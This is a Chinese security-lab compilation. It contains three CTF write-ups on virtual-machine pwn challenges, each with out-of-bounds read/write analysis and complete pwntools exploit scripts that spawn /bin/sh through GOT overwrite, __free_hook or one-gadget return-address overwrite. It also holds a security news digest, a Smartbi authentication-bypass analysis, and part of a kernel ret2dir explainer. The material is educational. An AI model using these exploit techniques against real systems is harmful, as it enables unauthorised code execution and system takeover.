至此,所有的操作都已经分析完毕,那么程序的漏洞在哪? 注意看到load和save功能
索引v3是从data段中取出来的,而data段的值是由用户输入的
通过push和pop以及加减乘除等操作可以控制data段中的数据,而在load中以data段中的数据为索引时又没有对其进行限制,所以这里存在一个越界读的漏洞,即我们只需要设置好data段中的数据,在使用load功能时就可以将不属于data段中的数据读取到data段中。
除了load中的越界读漏洞,在save操作中也存在漏洞
Save功能中从data段中取出两个值,然后将其中一个值作为data段的索引,从中取出一个值addr,将从data段中取出的另一个值存入addr指向的内存当中。这里没有对这两个值进行判断,也没有对addr进行任何判断,所以我们可以将任意值写入任意地址中,这里就存在一个越界写漏洞。
所以这个程序一共存在两个漏洞:越界读和越界写漏洞。
静态分析完毕,开始动态分析
存在越界读写的漏洞,该怎么利用?
由于程序没有开启FULL RELRO,所以我们可以复写got表,got中会存放有已经运行过的函数的加载地址,修改某个函数的got表的值就能够修改这个函数最终调用的函数地址。在这个程序中有如下函数
在这里我们选择将puts的got表中的值修改system函数的地址,为什么?
在程序的一开始让我们输入了一个程序名,然后execute运行结束后,会调用puts函数输出程序名,当我们将puts函数的got表的值修改为system函数的地址后,puts(s)就变成了system(s),而如果我们输入的s的内容为/bin/sh,那么最终就会调用system(“/bin/sh”)。
注意到heap区上方
Heap区上方就是程序的text段,text段中存有got表,有大量的libc的地址
而程序本身没有输出功能,所以我们需要利用程序提供的功能进行写入加减运算。load和save功能都是在data段进行的,而且存在越界,它们的的参数都是data结构体的指针。
而对data段进行操作都是通过存储在data结构体中的data段指针进行操作的,只要我们修改了这个指针,data段的位置也会随之改变,所以我们可以利用save的越界写漏洞,将data段指针修改到0x404000附近(也可以直接在data段进行越界读写,毕竟越界读写的范围也没有限定,不过这样计算起来会比较麻烦)。
我们将data段指针改写为stderr下方的一段无内容处,即0x4040d0。
这个操作对应的payload为
push push save
0x4040d0 -3
调试看看
我们将断点下载push处,如下图所示
也就是地址0x00000000004019C7处
push之前
push之后
0x4040d0被push到了data段开始处,接着将-3也push到data段
然后利用save功能的越界写,将0x4040d0写入到data[-3]处
执行完这一段指令之后,data段的指针就被修改到了0x4040d0。
之后我们对data段的操作就都是以0x4040d0为基地址来操作的,我们将上方的stderr的地址(或者别的地址)load到data段,然后计算出在libc中stderr和system的相对偏移,push到data段,然后将stderr和偏移相加就能得出system的地址,接着再利用save功能,将system写入puts@got(在0x404020处)即可。
利用脚本
from pwn import *
context.binary = './ciscn_2019_qual_virtual'
context.log_level = 'debug'
io = process('./ciscn_2019_qual_virtual')
elf = ELF('ciscn_2019_qual_virtual')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io.recvuntil('name:\n')
io.sendline('/bin/sh')
data_addr = 0x4040d0
offset = libc.symbols['system'] - libc.symbols['_IO_2_1_stderr_']
opcode = 'push push save push load push add push save'
data = [data_addr, -3, -1, offset, -21]
payload = ''
for i in data:
payload += str(i)+' '
io.recvuntil('instruction:\n')
io.sendline(opcode)
#gdb.attach(io,'b *0x401cce')
io.recvuntil('data:\n')
io.sendline(payload)
io.interactive()
实验二 VMPWN2
实验简介
这道题难度要比前一道题稍微大一些,前一道题的输入为汇编形式的指令,而这一道题是很经典的一个VM,接收字节码,处理字节码,前一道题以接收汇编形式的指令,对于我们的逆向起到了很大的帮助,因为正常的VM逆向就是需要我们对字节码进行逆向将其还原为汇编形式的指令;所以这道题才是真正的VMPWN入门题。
题目保护检查
相比于前一题,保护开启增多,只有canary保护未开启。
漏洞分析
首先让我们输入PC和SP
PC 程序计数器,它存放的是一个内存地址,该地址中存放着 下一条 要执行的计算机指令。
SP 指针寄存器,永远指向当前的栈顶。
然后让我们输入codesize,最大为0x10000字节接着依次输入code
if语句是用来限制code的值的,将其中高8位为0xFF的整数的值修改为0xE0000000,然后存储到数组memory中。 接着进入where循环,fetch函数如下
这里使用到了reg[15],存储着PC的值,我们看一看这个程序使用的一些数据
每次将PC的值增加1,依次读取memory中的code
再看到execute函数
由于execute函数较长,所以我们不一次性放出,分段进行分析
Execute的参数是一个4字节的opcode
v4 = (code & 0xF0000u) >> 16将会取第三个字节的数值。
v3 = (unsigned __int16)(code & 0xF00) >> 8将会取第二个字节的数值,并且这个数只是1位16进制数。
v2 = code & 0xF将会取最末尾一字节。
result = HIBYTE(code),将code的最高一字节给result,最高一字节用于指定对应的操作码。如果最高字节为0x70,那么执行加法操作,reg[v4] = reg[v2] + reg[v3]。
继续往下看
总结如下:
操作码为0x10,将一个1字节的常量存入reg[v4];
操作码为0x20,判断code的最低字节是否为0,并将reg[v4]设置为结果;
操作码为0x30,以reg[v2]为索引,将memory[reg[v2]送入reg[v4];
操作码为0x40,将reg[v4]送入memory[reg[v2];
操作码为0x50,执行push操作,将reg[v4]压入栈中,reg[13]是可以理解为rsp寄存器;
操作码为0x60,执行pop操作,将栈顶的值弹出到reg[v4]中;
操作码为0x70,执行加法操作,reg[v4] = reg[v2] + reg[v3];
操作码为0x80,执行减法操作,reg[v4] = reg[v3] - reg[v2];
操作码为0x90,执行按位与操作,reg[v4] = reg[v2] & reg[v3];
操作码为0xa0,执行按位或操作,reg[v4] = reg[v2] | reg[v3];
操作码为0xb0,执行异或操作,reg[v4] = reg[v2] ^ reg[v3];
操作码为0xc0,执行左移操作,reg[v4] = reg[v3] << reg[v2];
操作码为0xd0,执行右移操作,reg[v4] = (int)reg[v3] >> reg[v2];
操作码为0xe0,如果栈中已经没有值了,那就退出,在退出的时候会打印出所有寄存器的值。
以上就是这个VM实现的所有操作,可以看出基本实现了CPU的基本功能。
程序逻辑理清楚了,该思考怎么利用了。
操作码为0x30和0x40时,分别实现了load和save功能,在将内存中的值读入寄存器中时以及将寄存器中的值写入内存中是并未对边界以及要读取或写入的值有所限制,因此在这里依然存在越界读和越界写漏洞。
这道题开启了FULL RELRO保护,这样一来got表就不可写了,我们就不能够通过上一题的方式修改got表来劫持函数。
在程序的结尾调用了sendcomment函数,函数实现如下
调用free函数将comment这个堆块释放掉。
在这里我们需要提及到free_hook这个钩子函数
什么是free_hook?
在GNU C库(glibc)中,free_hook是一个全局变量,用于实现动态内存分配和释放的钩子函数。当程序使用malloc()、calloc()、realloc()等函数进行内存分配时,会调用free_hook函数来进行内存释放的操作。
通过定义自己的free_hook函数,可以在内存分配和释放时进行额外的处理操作,例如记录内存分配和释放的情况、检测内存泄漏等。
在glibc中,可以通过设置free_hook变量来实现自定义的内存释放操作。例如,可以使用以下代码来设置free_hook变量:
void my_free_hook(void *ptr, const void *caller) {
printf("Freeing memory at %p, called by %p\n", ptr, caller);
__free_hook = old_free_hook;
free(ptr);
__free_hook = my_free_hook;
}
void *old_free_hook = NULL;
int main() {
old_free_hook = __free_hook;
__free_hook = my_free_hook;
__free_hook = old_free_hook;
return 0;
在这段代码中,定义了一个自定义的my_free_hook函数来实现内存释放的操作。在main()函数中,先保存原来的free_hook变量,然后设置自定义的my_free_hook函数为新的free_hook变量。在程序运行时,即可使用自定义的my_free_hook函数来进行内存释放的操作。
需要注意的是,自定义的free_hook函数必须遵守内存分配和释放的规范,正确地分配和释放内存,避免内存泄漏和内存溢出等问题。
也就是说,在调用free函数之后,首先会检查free_hook是否被设置了钩子函数,如果free_hook被设置了钩子函数,那么首先会调用钩子函数,然后才会调用真正的free函数,而这个钩子函数的参数,和free函数的参数是一样的,也就是要释放的堆块的指针。
如果我们将free_hook设置为system函数的地址,将要释放的堆块的开头设置为/bin/sh,那么在调用free的时候就会先调用system(“/bin/sh”)。
首先我们需要泄露libc地址,bss段上方一段距离就是got表,我们通过越界读将got表中的libc地址读取到寄存器中,这里需要注意的是,由于寄存器是双字,也就是四字节的,而地址是八字节的,所以我们需要两个寄存器才能存储一个地址。
got表中最后一个是stderr,不过我们不选它来泄露,因为stderr地址的最后两位是00。
在这里我们选择stdin来泄露,因为后续我们需要通过stdin的地址来计算得到__free_hook-8,因此尽量选择与free_hook地址相差较小的来泄露,能够减小计算量。
有了泄露目标之后,就该来计算索引了(reg[v4] = memory[reg[v2]])。memory的地址是0x202060,stdin@got的地址为0x201f80,memory也是双字类型,于是有n=(0x202060-0x201f80)/4=56,索引就是-56。
该如何构造出-56,可以通过在内存中负数的存储方式来构造,0xffffffc8在内存中就表示-56,通过-56读取stdin地址的后四字节,通过-55读取前四个字节。如何得到0xffffffc8,可以通过ff左移位和加法运算得到,构造步骤如下:
setnum(0,8), #reg[0]=8
setnum(1,0xff), #reg[1]=0xff
setnum(2,0xff), #reg[2]=0xff
left_shift(2,2,0), #reg[2]=reg[2]<<reg[0](reg[2]=0xff<<8=0xff00)
add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xff00+0xff=0xffff)
left_shift(2,2,0), #reg[2]=reg[2]<<reg[0](reg[2]=0xffff<<8=0xffff00)
add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xffff00+0xff=0xffffff)
setnum(1,0xc8), #reg[1]=0xc8
left_shift(2,2,0), #reg[2]=reg[2]<<reg[0](reg[2]=0xffffff<<8=0xffffff00)
add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xffffff00+0xc8=0xffffffc8=-56)
调试看看
我们首先将reg[0]设置为8,用于移位操作,将reg[1]设置为0xff,用于后续加法操作,将reg[2]也设置为0xff,用于移位操作
然后在左移操作下断点
左移之后,reg[2]变成了0xff00.继续
此时reg[2]已变成了0xffffff00,只需要再加上0xc8就能够构造出-56
然后我们读取stdin的地址,存入两个寄存器中
read(3,2), #reg[3]=memory[reg[2]]=memory[-56]setnum(1,1), #reg[1]=1add(2,2,1), #reg[2]=reg[2]+reg[1]=-56+1=-55read(4,2), #reg[4]=memory[reg[2]]=memory[-55]
这里为什么要用两个寄存器,是因为每个寄存器的长度只有4字节,而libc地址的长度为8字节,所以需要用两个寄存器才能存储一个完整的libc地址
在越界读的位置处下断点
stdin的libc地址的末尾4字节已经被读取到reg[3]中,再来一次越界读
此时前4字节也被读取到了reg[4]中。
有了stdin地址之后,我们计算出stdin和free_hook-8的偏移,通过add将偏移加到存储stdin地址的寄存器之上,再写入comment[0]即可,comment[0]与memory的相对索引是-8.
-8是怎么算出来的
comment的地址是0x56336d3dd040,而memory的地址是0x56336d3dd060,(0x56336d3dd060-0x56336d3dd040)/4=8,而由于comment在memory的上方,所以索引应该为-8.
setnum(1,0x10), #reg[1]=0x10
left_shift(1,1,0), #reg[1]=reg[1]<<8=0x10<<8=0x1000
setnum(0,0x90), #reg[0]=0x90
add(1,1,0), #reg[1]=reg[1]+reh[0]=0x1000+0x90=0x1090 &free_hook-8-&stdin=0x1090
add(3,3,1), #reg[3]=reg[3]+reg[1]=&stdin后四字节+0x1090=&free_hook-8后四字节
setnum(1,47), #reg[1]=47
add(2,2,1), #reg[2]=reg[2]+2=-55+47=-8
write(3,2), #memory[reg[2]]=memory[-8]=reg[3]
setnum(1,1), #reg[1]=1
add(2,2,1), #reg[2]=reg[2]+1=-8+1=-7
write(4,2), #memory[reg[2]]=memory[-7]=reg[4]
u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1]) #exit
利用脚本
#!/usr/bin/python
from pwn import *
from time import sleep
context.binary = './OVM'
context.log_level = 'debug'
io = process('./OVM')
elf = ELF('OVM')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#reg[v4] = reg[v2] + reg[v3]
def add(v4, v3, v2):
return u32((p8(0x70)+p8(v4)+p8(v3)+p8(v2))[::-1])
#reg[v4] = reg[v3] << reg[v2]
def left_shift(v4, v3, v2):
return u32((p8(0xc0)+p8(v4)+p8(v3)+p8(v2))[::-1])
#reg[v4] = memory[reg[v2]]
def read(v4, v2):
return u32((p8(0x30)+p8(v4)+p8(0)+p8(v2))[::-1])
#memory[reg[v2]] = reg[v4]
def write(v4, v2):
return u32((p8(0x40)+p8(v4)+p8(0)+p8(v2))[::-1])
# reg[v4] = (unsigned __int8)v2
def setnum(v4, v2):
return u32((p8(0x10)+p8(v4)+p8(0)+p8(v2))[::-1])
code = [
setnum(0, 8), # reg[0]=8
setnum(1, 0xff), # reg[1]=0xff
setnum(2, 0xff), # reg[2]=0xff
left_shift(2, 2, 0), # reg[2]=reg[2]<<reg[0](reg[2]=0xff<<8=0xff00)
add(2, 2, 1), # reg[2]=reg[2]+reg[1](reg[2]=0xff00+0xff=0xffff)
left_shift(2, 2, 0), # reg[2]=reg[2]<<reg[0](reg[2]=0xffff<<8=0xffff00)
add(2, 2, 1), # reg[2]=reg[2]+reg[1](reg[2]=0xffff00+0xff=0xffffff)
setnum(1, 0xc8), # reg[1]=0xc8
# reg[2]=reg[2]<<reg[0](reg[2]=0xffffff<<8=0xffffff00)
left_shift(2, 2, 0),
# reg[2]=reg[2]+reg[1](reg[2]=0xffffff00+0xc8=0xffffffc8=-56)
add(2, 2, 1),
read(3, 2), # reg[3]=memory[reg[2]]=memory[-56]
setnum(1, 1), # reg[1]=1
add(2, 2, 1), # reg[2]=reg[2]+reg[1]=-56+1=-55
read(4, 2), # reg[4]=memory[reg[2]]=memory[-55]
setnum(1, 0x10), # reg[1]=0x10
left_shift(1, 1, 0), # reg[1]=reg[1]<<8=0x10<<8=0x1000
setnum(0, 0x90), # reg[0]=0x90
# reg[1]=reg[1]+reh[0]=0x1000+0x90=0x1090 &free_hook-8-&stdin=0x1090
add(1, 1, 0),
add(3, 3, 1), # reg[3]=reg[3]+reg[1]
setnum(1, 47), # reg[1]=47
add(2, 2, 1), # reg[2]=reg[2]+2=-55+47=-8
write(3, 2), # memory[reg[2]]=memory[-8]=reg[3]
setnum(1, 1), # reg[1]=1
add(2, 2, 1), # reg[2]=reg[2]+1=-8+1=-7
write(4, 2), # memory[reg[2]]=memory[-7]=reg[4]
u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1]) # exit
]
io.recvuntil('PC: ')
io.sendline(str(0))
io.recvuntil('SP: ')
io.sendline(str(1))
io.recvuntil('SIZE: ')
io.sendline(str(len(code)))
io.recvuntil('CODE: ')
for i in code:
#sleep(0.2)
io.sendline(str(i))
io.recvuntil('R3: ')
#gdb.attach(io)
last_4bytes = int(io.recv(8), 16)+8
log.success('last_4bytes => {}'.format(hex(last_4bytes)))
io.recvuntil('R4: ')
first_4bytes = int(io.recv(4), 16)
log.success('first_4bytes => {}'.format(hex(first_4bytes)))
free_hook = (first_4bytes << 32)+last_4bytes
libc_base = free_hook-libc.symbols['__free_hook']
system_addr = libc_base+libc.symbols['system']
log.success('free_hook => {}'.format(free_hook))
log.success('system_addr => {}'.format(system_addr))
io.recvuntil('OVM?\n')
io.sendline('/bin/sh\x00'+p64(system_addr))
io.interactive()
实验三 VMPWN3
实验简介
这道题是也一道很典型VMPWN,接收字节码,然后进行解析,在解析过程中会存在漏洞,逆向分析这个虚拟机,找出其解析漏洞然后构造好特定的字节码输入进去从而通过这个程序漏洞拿下目标机器的权限。
题目保护检查
这道题目的保护程序相较于上一题又有所提升,所有保护全部开启。
漏洞分析
使用IDA打开程序
执行逻辑一目了然。
首先,使用fread往code中读取0x100字节的opcode,然后进入while大循环,对我们输入的opcode进行解析。
看到这个sub_11E9函数
很长一行伪代码,似乎实现了很复杂的功能,不过仔细看一看
pc的初始值为0,那我们假设这个pc现在就是0,那么这行代码就是将从code中取出4字节的opcode,然后左移8位,然后和0xFF0000进行按位与,假设当前opcode为0x12345678,0x12345678<<8&0xFF0000=0x560000,即取倒数第二字节。后面地几个操作也是一样,将每个字节取出来之后再用按位或操作组合起来,不过组合之后地opcode是将原始opcode逆序之后的。即如果原始code为0x12345678,那么取出来之后的opcode就为0x78563412。取完一串code之后,将pc指针加4。
所以这个函数的作用就是取指令,因此我们将其重命名为fetch_code。
然后继续往下看。
HIBYTE(code)是什么意思?看到汇编
将code送入eax中,然后右移24位,将此时ax中的值取出来。如果我们的code为0x78563412,那么HIBYTE(code)就是0x78.也就是说,HIBYTE(code)会取code的最高1字节。因此我们将v7重命名为code
再看到对v6进行判断的位置
这里做了大量的运算,但是在为代码中都没有显示出来,我们来继续分析汇编
将code存入eax,然后eax右移16位,将al存入var_249这个变量中,这个操作实际上取出的是第二个字节,因此我们将var_249重命名为second_byte。往下看
这里将code存入eax,然后将ax右移8位,将al存入var_248这个变量中,这个操作取出的是第三个字节,因此我们将var_248重命名为third_byte。
这里就是将第四个字节存入var_247中,将其重名为forth_byte。
根据取出来的1字节选择对应的功能。最大值到0xF为止,所以这里取出来的1字节应该就是功能码,对应我们要执行哪个操作。
接下来开始分析vm的功能有哪些,如何实现的。
注意到在程序中出现了大量的判断语句,判断code中的第一字节或者第二字节是否大于等于6,是的话就退出,根据我的经验,这里的判断就是对寄存器的索引值的判断,也就是寄存器的索引值最大只能为5,那么就一共有6个寄存器,索引从0到5,每个寄存器的大小为WORD,即2字节。
一个虚拟机除了通用寄存器外,还应有pc指针(在前面已经出现),以及sp指针用来指示栈顶位置,因此我们在程序中搜寻可能的sp指针。由于sp指针的变化便随着出栈和入栈,所以是相当好确定的。
在这里我们发现了类似于入栈出栈的操作,栈和栈顶指针也很快确定下来。将v9重名为sp_ptr。
v10+ v11一共0xc个字节,寄存器有2*6=0xc个字节,再加上stack,我们可以得出虚拟机的结构体如下:
struct vm
{
int16_t regs[6];
int16_t stack[256];
};
应用到IDA中如下所示
整个伪代码变得更加清晰了,有哪些功能也能一眼看出
其实基本所有vm实现的功能都基本一样,在前面两题中我也做了具体分析,所以在这里就不再逐个分析了,所有功能如下所示:
那么漏洞点在哪里?注意到在进行三个寄存器的操作时,会对三个寄存器的索引值进行检查,不能大于等于6。
然而在进行乘法时:
并未对r3的索引进行检查,这样就可以将超出寄存器范围的数据进行乘法,当我们固定好另外两个寄存器的数据时就能够造成越界读的效果。
还有一个漏洞
在进行mov指令时,对r2的索引检查的时候是按照无符号整型的方式来检查的,而对r1的索引检查时则使用的是有符号整型检查,这样就有如果r1的索引为负数也一样能够通过检查。这样就有了一个越界写漏洞。
这样整体利用思路就是先利用乘法中的越界读漏洞读取libc地址,然后计算出onegadget地址,再利用越界写漏洞将onegadget地址写入到返回地址中。
接下来我们看到动态调试部分
由于虚拟机是在栈中分配的,而在栈中存在大量libc的地址,如下图
我们可以利用乘法的越界读功能,首先将一个寄存器的值设置为1,然后利用乘法的越界读功能使栈中的libc地址与1相乘并存入寄存器中,这里需要注意,由于每个寄存器只有2字节长度,而libc地址的有效长度为6字节,所以需要用3个寄存器来存储libc地址。
我们首先将reg0设置为1,如下图所示
然后我们找到最近的libc地址,如下图
而寄存器的起始地址为0x7ffde8c12c04,每个寄存器的大小为2字节,我们据此来计算这个libc地址的偏移量
如果要用寄存器来进行索引的话,那么索引下标应该为0xe,接着我们用乘法功能,使reg[0]*reg[0xe],并将结果存入reg[0]中
如上图所示,已经将libc地址的末尾2字节存入了reg[0]中。
后续我们继续按照此操作,将libc地址的剩余字节也存入reg[1]和reg[2]中,如下图
有了libc地址之后,就可以根据libc地址计算onegadget的地址了
选择0xe3b31这个onegadget,那么它在libc中的加载地址就为libc_base+0xe3b31
依然由于寄存器是2字节长度,所以我们每次对二字节进行操作,可以看到onegadget的末尾二字节和reg[0]的差值是0x431,也就是说reg[0]+0x431就可以得到onegadget的末尾二字节;
而中间二字节的差值为0x14,即reg[1]+0x14就可以得到onegadget的中间二字节的值,而最开头的地址都是一样的,不需要进行计算。
为了计算onegadget的地址,我们使用add功能。
接下来我们需要将onegadget的地址写入到某个地址中,由于vm位于栈中,所以我们考虑将onegadget写入返回地址中
但是越界写功能只能够往上越界写,而返回地址位于虚拟机的下方,这里该怎么办才能顺利写呢?
注意到在push功能处
栈顶指针是有符号类型,因此如果栈顶指针为负数就可以通过检查,我们看看栈顶指针距离返回地址的偏移量为多少
虚拟机的栈也是2字节为单位,所以如果要通过栈索引到返回地址,则需要数组下标为0x10c。
在push进行赋值时,存在这样的操作
假设rax为0x800000000000010c,rax*2之后就会整数溢出变成0x0000000000000218,这样就既可以绕过栈顶指针检测也可以将栈顶指针修改为指向返回地址。
后面我们再将寄存器中的值压栈,就可以将返回地址覆盖为onegadget的地址,这样一来程序结束时就能够调用onegadget来getshell
利用脚本
from pwn import *
context.log_level='debug'
io=process('./mva')
libc=ELF('/usr/lib/freelibs/amd64/2.31-0ubuntu9.7_amd64/libc-2.31.so')
onegadget=0xe3b31
def get_command(code, op1, op2, op3):
return p8(code) + p8(op1) + p8(op2) + p8(op3)
def movl(reg, value):
return get_command(1, reg, value >> 8, value & 0xFF)
def add(dest, add1, add2):
return get_command(2, dest, add1, add2)
def sub(dest, subee, suber):
return get_command(3, dest, subee, suber)
def band(dest, and1, and2):
return get_command(4, dest, and1, and2)
def bor(dest, or1, or2):
return get_command(5, dest, or1, or2)
def sar(dest, off):
return get_command(6, dest, off, 0)
def bxor(dest, xor1, xor2):
return get_command(7, dest, xor1, xor2)
def push(reg, value):
if reg == 0:
return get_command(9, reg, 0, 0)
else:
return get_command(9, reg, value >> 8, value & 0xFF)
def pop(reg):
return get_command(10, reg, 0, 0)
def imul(dest, imul1, imul2):
return get_command(13, dest, imul1, imul2)
def mov(src, dest):
return get_command(14, src, dest, 0)
def print_top():
return get_command(15, 0, 0, 0)
def pwn():
io.recvuntil('[+] Welcome to MVA, input your code now :')
payload=movl(0,0x1)
payload+=imul(0,14,0)
payload+=movl(1,0x1)
payload+=imul(1,15,1)
payload+=movl(2,0x1)
payload+=imul(2,16,2)
payload+=movl(4,0x431)
payload+=add(0,0,4)
payload+=movl(4,0x14)
payload+=sub(1,1,4)
payload+=movl(4,0x8000)
payload+=mov(4,0xf9)
payload+=movl(4,0x10c)
payload+=mov(4,0xf6)
payload+=push(0,0)
payload+=mov(1,0)
payload+=push(0,0)
payload+=mov(2,0)
payload+=push(0,0)
payload=payload.ljust(0x100,'\x00')
# gdb.attach(io,'b *$rebase(0x0000000000001431)')
# pause()
io.send(payload)
io.interactive()
pwn()
网络安全日报 2023年07月26日
1、Atlassian 解决了 Confluence 和 Bamboo 产品中的 3 个严重漏洞
https://securityaffairs.com/148803/security/atlassian-confluence-bamboo-flaws.html Atlassian 解决了其 Confluence Server、Data Center 和 Bamboo Data Center 产品中的三个漏洞,这些漏洞可能导致远程代码执行。
2、攻击者通过Ivanti产品中的零日漏洞入侵了挪威政府部门系统
https://www.bleepingcomputer.com/news/security/norway-says-ivanti-zero-day-was-used-to-hack-govt-it-systems 挪威国家安全局(NSM)证实,攻击者利用Ivanti的产品Endpoint Manager Mobile(EPMM)中的零日漏洞入侵了该国12个政府部门使用的系统。挪威数据保护局(DPA)也收到了有关该事件的通知,表明黑客可能访问了受影响系统的敏感数据,并且可能从中窃取了敏感数据。该漏洞被标记为CVE-2023-35078,是一个身份验证绕过漏洞,影响Ivanti的产品EPMM(
3、研究人员发现影响AMD Zen2处理器的安全漏洞
https://www.bleepingcomputer.com/news/security/zenbleed-attack-leaks-sensitive-data-from-amd-zen2-processors 研究人员发现了一个影响AMD Zen2 CPU的安全漏洞,该漏洞可能允许攻击者以30KB/秒的速度从每个CPU核心中窃取密码和加密密钥等敏感数据。该漏洞被标记为CVE-2023-20593,是由推测执行期间对名为“vzerooper”的指令的不当处理引起的,这是所有现代处理器中使用的一种常见的性能增强技术。研究人员于2023年5月15日向AMD报告了该漏洞,并于近期发布了CVE
4、研究人员披露Perimeter81产品中的安全漏洞
https://www.securityweek.com/perimeter81-vulnerability-disclosed-after-botched-disclosure-process/ 研究人员在Perimeter81的macOS应用程序中发现本地权限提升漏洞,并披露有关该漏洞的细节。研究人员表示,该权限提升漏洞利用了一个配置错误的XPC服务以及一个命令注入漏洞。利用该漏洞,攻击者可以使用root权限执行任意命令。该漏洞被标记为CVE-2023-33298,Perimeter81 MacOS应用程序的10.0.0.19版本在其com.Perimeter81.osx.HelperT
5、银行业正成为开源软件供应链攻击的目标
https://thehackernews.com/2023/07/banking-sector-targeted-in-open-source.html 网络安全研究人员表示,他们发现了首次专门针对银行业的开源软件供应链攻击。
6、AI 公司承诺将为 AI 生成内容打上水印
https://yro.slashdot.org/story/23/07/21/140215/openai-microsoft-google-meta-and-amazon-pledge-to-watermark-ai-content-for-safety-white-house-says 拜登政府7月21日表示,美国主要 AI 公司如 OpenAI、Alphabet、Meta Platform、亚马逊、Anthropic、Inflection 和微软已经向白宫承诺将自愿为 AI 生成内容实现水印等措施,以帮助提高 AI 技术的安全性。
7、美发布网络安全战略实施计划
https://m.gmw.cn/2023-07/24/content_1303452199.htm 7月中旬,美国国家网络总监办公室公布《国家网络安全战略实施计划》(以下简称《计划》)。《计划》详细阐述了相关职能部门在确保美国网络安全方面的举措和要求,并设定具体时间节点,体现了美国抢占“第五空间”制高点的战略图谋。
8、TETRA 无线电标准漏洞可能会暴露军事通信、工业系统
https://www.securityweek.com/tetra-radio-standard-vulnerabilities-can-expose-military-comms-industrial-systems/ TETRA:BURST – 广泛使用的无线电标准中的漏洞可能会威胁军事和执法通信以及工业控制系统。
9、OPSEC 失误后,朝鲜APT组织在 JumpCloud 黑客攻击活动中暴露
https://thehackernews.com/2023/07/north-korean-nation-state-actors.html 针对 JumpCloud 的入侵发生于 2023 年 6 月 22 日,这是复杂的鱼叉式网络钓鱼活动的一部分,该活动利用未经授权的访问来破坏不到 5 个客户和不到 10 个系统,即所谓的软件供应链攻击。
10、针对阿联酋企业的 Rootkit 攻击大幅增加
https://www.darkreading.com/dr-global/rootkit-attack-detections-increase-uae-businesses 根据卡巴斯基的研究,检测到的针对阿拉伯联合酋长国 (UAE) 商业目标的 Rootkit 攻击尝试显着增加,与 2022 年同期相比,攻击数量增加了 2.6 倍。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Smartbi 身份认证绕过漏洞
内置账号密码登录
因为自己搭建的环境存在一些问题,可能是版本过高的原因,(奇奇怪怪的问题,用户没有权限),所以目前仅仅做概念性验证,对漏洞的原理进行分析。
在未登录的情况下访问接口 /smartbi/vision/RMIServlet
我们可以比较明显的看到对应的处理类 CheckIsLoggedFilter
smartbi.freequery.filter.CheckIsLoggedFilter#doFilter
从这里开始可能就是要进行比较详细的分析,首先是判断请求的路径是不是/vision/RMIServlet 是的话进入这个分支,然后判断请求体中是不是有以 windowUnloading 开头的字符串,这个跟另一种绕过方式有关,这里先不做分析
接下来依次判断是否有通过 POST 或者 GET 方法来获取参数 className methodName 如果没有的话,就对参数 encode 进行解码,对相关参数进行赋值
这里有一个判断,对类和方法进行鉴权操作,如果是 true 就会继续判断是否登录,只需要满足 FilterUtil.needToCheck 返回 false 就可以
smartbi.util.FilterUtil#needToCheck
我们就注意到从数据库登录的操作也是不需要鉴权就可以进行访问的
smartbi.usermanager.UserManagerModule
smartbi.usermanager.UserManagerModule#loginFromDB
smartbi.usermanager.SecurityServiceImpl#loginFromDB
这里直接比较的是从数据库中查询出的密码,所以我们就可以直接利用内置的账号和 MD5密码登录
admin 也是可以登录成功的
为什么不用原本的登录模式登录,首先原本的登录模式登录是不知道对应的账号和密码的其次我们再对原本的登录逻辑进行简单的分析
smartbi.usermanager.UserManagerModule#clickLogin
smartbi.usermanager.UserManagerModule#login
smartbi.usermanager.SecurityServiceImpl#login
主要的处理登录逻辑在这一部分
smartbi.usermanager.SecurityServiceImpl#loginDB
smartbi.usermanager.UserBO#isPasswordValidate
这里在进行比较的时候
首先 String passwordInLib = this.user.getPassword(); 是从数据库中查找用户的密码,根据用户的密码开头的第一位字符,来进行处理比较
我们已经知道数据库中对应的值是 0a 但是并没有任何一个值对应的 MD5 的值是a 所以正常无法登录内置用户
漏洞修复
http://192.168.222.133:18080/smartbi/vision/sysmonitor.jsp 同样的 POC 已经无法利用成功了,我们关注一下修复的代码内容
kernel-pwn之ret2dir利用技巧
前言
ret2dir是2014年在USENIX发表的一篇论文,该论文提出针对ret2usr提出的SMEP、SMAP等保护的绕过。全称为return-to-direct-mapped memory,返回直接映射的内存。
ret2dir
在SMEP与SMAP等用于隔离用户与内核空间的保护出现时,内核中常用的利用手法是ret2usr,如下图所示(图片来自论文)。首先是在内核中找到可以控制指针的漏洞,修改指针使其指向为用户空间,因此在用户空间布置恶意的数据或者代码,完成漏洞的利用。但是当SMEP与SMAP保护的出现,在内核态下,不能够执行或者访问用户空间的代码或者数据,导致了该利用方式失效,因为即使在用户空间中部署了payload,在内核态下也无法访问。因此这种通过显示数据的共享方式已经不再适用了。
所以作者提出了一种思路,能否在内核空间中也能够访问到用户空间的数据。作者最终找到了一段区域,可以隐式的访问用户空间的数据。在内核中存在这部分区域direct mapping of all physical memory,物理地址直接映射区。
这个映射区其实就是内核空间会与物理地址空间进行线性的映射,我们可以在这段区域直接访问到物理地址对应的内容。
那么作者就提出了一种攻击场景,由于在虚地址中的内容最终都会映射到物理地址上,若能将用户空间的数据同样映射到这段区域上,岂不是就可以在内核空间也可以访问到用户空间的数据了。该段区域也被称之为phsymap,它是一段大的,连续的虚拟内存区域,它包含了部分或全部的物理内存的直接映射。下图这种情况作者也称之为是虚拟地址别名的情况,因为在用户空间与内核空间中都存在一个地址可以访问payload。
最终作者构想的攻击场景如下图所示(图片来自论文),不同于ret2usr,指针不再被修改为指向用户空间,而是指向了物理地址的直接映射区,由于该映射区指向物理地址,而在用户空间构造的payload也会映射到物理地址,因此若能获得指向存在payload的用户空间对应的物理地址在phsymap位置,就能够直接执行用户空间的payload。
想要获得映射地址有以下方法
(1)通过读取/proc/pid/pagemap获取,该文件中存放了物理地址与虚拟地址的映射关系,可是该文件需要root权限才能读取。
